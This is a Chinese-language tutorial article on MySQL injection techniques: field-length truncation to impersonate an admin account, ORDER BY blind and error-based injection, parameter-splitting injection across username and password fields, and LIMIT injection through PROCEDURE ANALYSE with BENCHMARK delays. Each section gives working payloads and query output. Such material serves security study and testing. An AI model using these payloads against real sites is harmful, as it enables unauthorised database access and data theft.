mysql注入之长字符截断,orderby注入,HTTP分割注入,limit注入方式

 更新时间:2023年11月13日 09:05:38   作者:Thunderclap_  
这篇文章主要介绍了mysql注入之长字符截断,orderby注入,HTTP分割注入,limit注入方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教

长字符截断/SQL约束攻击

产生原因:在mysql中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQL默认 sql_mode为default),MySQL对插入超长的值只会提示warning,而不是error,这样就会导致一些截断问题。 

例如:

一个表的username字段类型为varchar(7) 长度最多7个字符。

那么我们插入的时候将字符提高到8字符以上,它只取前7位,并且会弹出warning。

利用漏洞:

假设管理员的登录名为admin,那么我们可以注册一个“admin ”后面有八个空格用户即可轻易进入后台管理界面。

order by rand(True)   /order by rand(False)盲注

产生原因:原语句类似为$id=$_GET['sort'];     select * from users order by $id ;

利用漏洞:

  • 报错注入?sort=1 and updatexml(1,if(1=1,concat(0x7e,version()),2),1)
  • 盲注 order by rand(True)和order by rand(False)的结果排序是不同的,可以根据这个不同来进行盲注。

例如:

  • 布尔盲注:?sort= rand(database()='ujcms')
  • 返回了True的排序,说明database()='ujcms'是正确的值

  • 时间盲注 ?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
  • 执行结果睡眠2秒

HTTP分割注入

场景:

参数为username&password,查询语句为

select xxx from xxx where username='xxx' and password ='xxx';

但是username参数过滤了注释符,无法将后面的注释掉,则可尝试用内联注释把password注释掉,凑成一条新语句后注释或闭合掉后面的语句:

当然这种注入的前提是单引号没有被过滤

payload:username=1' or extractvalue /*'&password=1*/ (1,concat(0x7e,(select database()),0x7e))) or'

则查询语句为

select * from users where username='1' or extractvalue /*' and password='1*/ (1,concat(0x7e,(select database()),0x7e)) or'';

过滤了空格,union,#,—+,/*,^,or,|

可以考虑将password作为函数的参数来闭合语句:

payload:username=admin' and(strcmp(&password=,'asdasdasdasdasdasd')) and '1

则查询语句为

select * from users where username='admin' and(strcmp(' and password=','asdasdasdasdasdasd')) and '1';

strcmp比较,二者不一致返回True,一致返回False,而MySQL会将’1’判断为数字1,即True,因此该查询语句结果为True

limit注入

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字

  • 执行语句 select id from users limit 0,1; 
  • 这种情况下的 limit 后面可以使用union进行联合查询注入
  • 执行语句 select id from users limit 0,1 union select username from users;

存在 order by 关键字

此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入

limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

使用 PROCEDURE函数进行注入,ANALYSE支持两个参数,首先尝试一下默认两个参数

mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
 
ERROR 1386 (HY000): Can't use ORDER clause with this procedure

报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'

不存在回显怎么办,延迟注入呀,如果 select version(); 第一个为5,则多次执行sha(1)达到延迟效果,这里不支持使用 sleep,所以需要使用BENCHMARK进行替代 

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1)))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

总结

以上为个人经验,希望能给大家一个参考,也希望大家多多支持脚本之家。

相关文章

  • Mysql数据库之常用sql语句进阶与总结

    Mysql数据库之常用sql语句进阶与总结

    这篇文章主要介绍了Mysql数据库之常用sql语句,总结分析了MySQL数据库常用的查询、条件查询、排序、连接查询、子查询等相关操作技巧,需要的朋友可以参考下
    2019-11-11
  • SQL和NoSQL之间的区别总结

    SQL和NoSQL之间的区别总结

    在本篇内容里我们给大家精选了关于SQL和NoSQL之间的区别的总结内容,对此有需要的朋友们跟着学习下。
    2019-02-02
  • MySQL取消了Query Cache的原因

    MySQL取消了Query Cache的原因

    这篇文章主要介绍了MySQL取消了Query Cache的原因,帮助大家更好的理解和使用MySQL数据库,感兴趣的朋友可以了解下
    2020-10-10
  • 一步步教你MySQL密码忘记了该如何操作

    一步步教你MySQL密码忘记了该如何操作

    最近要用到本地的MySQL,结果把密码忘记了,下面这篇文章主要给大家介绍了关于MySQL密码忘记了该如何操作的相关资料,文中通过实例代码介绍的非常详细,需要的朋友可以参考下
    2023-03-03
  • 解决mysql报错:1264-Out of range value for column ‘字段‘ at row 1

    解决mysql报错:1264-Out of range value for&nb

    这篇文章主要介绍了解决mysql报错:1264-Out of range value for column ‘字段‘ at row 1问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2023-11-11
  • MySQL 自定义函数CREATE FUNCTION示例

    MySQL 自定义函数CREATE FUNCTION示例

    本节主要介绍了MySQL 自定义函数CREATE FUNCTION,下面是示例代码,需要的朋友可以参考下
    2014-07-07
  • Navicat for MySQL的使用教程详解

    Navicat for MySQL的使用教程详解

    本文给大家介绍Navicat for MySQL的使用教程,本文通过图文实例相结合给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友跟随小编一起学习下吧
    2021-05-05
  • 适合新手的mysql日期类型转换实例教程

    适合新手的mysql日期类型转换实例教程

    Mysql作为一款开元的免费关系型数据库,用户基础非常庞大,下面这篇文章主要给大家介绍了关于mysql日期类型转换的相关资料,文中通过实例代码介绍的非常详细,需要的朋友可以参考下
    2022-08-08
  • MySQL之MHA高可用配置及故障切换实现详细部署步骤

    MySQL之MHA高可用配置及故障切换实现详细部署步骤

    这篇文章主要介绍了MySQL之MHA高可用配置及故障切换实现详细部署步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-03-03
  • 你真的会用Mysql的explain吗

    你真的会用Mysql的explain吗

    explain显示了mysql如何使用索引来处理select语句以及连接表,可以帮助选择更好的索引和写出更优化的查询语句,下面这篇文章主要给大家介绍了关于Mysql中explain用法的相关资料,需要的朋友可以参考下
    2022-03-03

最新评论